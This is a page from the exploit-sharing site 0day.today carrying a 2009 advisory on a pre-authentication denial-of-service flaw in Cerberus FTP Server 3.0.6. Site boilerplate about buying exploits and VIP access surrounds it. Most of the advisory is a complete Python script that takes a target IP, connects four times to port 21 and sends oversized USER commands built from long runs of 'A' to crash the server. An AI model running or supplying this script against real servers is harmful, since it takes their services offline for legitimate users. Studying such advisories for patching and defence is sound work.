0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Cerberus FTP server 3.0.6 Pre-Auth DoS
[======================================
Cerberus FTP server 3.0.6 Pre-Auth DoS
======================================
# Title: Cerberus FTP server 3.0.6 Pre-Auth DoS
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Francis Provencher
# Published: 2009-09-30
# Verified: yes
view source
print?
########################################################################
#############
Application: Cerberus FTP 3.0.6
Platforms: Windows XP Professional SP2
Windows Vista SP1
crash: YES
Exploitation: Remote DoS
Date: 2009-09-30
Author: Francis Provencher (Protek Research Lab's)
########################################################################
#############
1) Introduction
2) Technical details
3) The Code
########################################################################
#############
===============
1) Introduction
===============
Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.
(from Cerberus FTP server website)
########################################################################
#############
============================
2) Technical details
============================
Cerberus FTP server Professional
Version 3.0.6
Build date 2009/09/28
########################################################################
#############
===========
3) The Code
===========
Proof of concept DoS code;
#!/usr/bin/env python
########################################################################
###########
#
# Cerberus FTP Server Denial of Service Exploit (Pre Auth)
# Found By: Francis Provencher (Protek Research Lab's)
# Tested On: Windows XPSP2
# Usage: ./script <Target IP>
#
########################################################################
###########
import socket, sys
def banner():
print "\n##################################################################"
print "# #"
print "# Cerberus FTP Server Denial of Service Exploit (Pre Auth) #"
print "# Francis Provencher (Protek Researh Lab's) #"
print "# #"
print "##################################################################\n"
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
buff1 = ("\x41" * 330 );
buff2 = ("\x41" * 520 );
buff3 = ("\x41" * 2230 );
try:
banner();
print ("[*] Connecting to target...");
s1.connect((sys.argv[1] , 21));
s2.connect((sys.argv[1] , 21));
s3.connect((sys.argv[1] , 21));
s4.connect((sys.argv[1] , 21));
print ("[*] Sending evil stuff...");
s1.send("USER " + buff1 + "\r\n");
s2.send("USER " + buff2 + "\r\n");
s3.send("USER " + buff3 + "\r\n");
s4.send("USER " + buff1 + "\r\n");
print ("[*] Success! The server should now be inaccessible");
s1.close();
s2.close();
s3.close();
s4.close();
except:
print ("[-] Could not connect to server.");
########################################################################
#############
# 0day.today [2024-11-16] #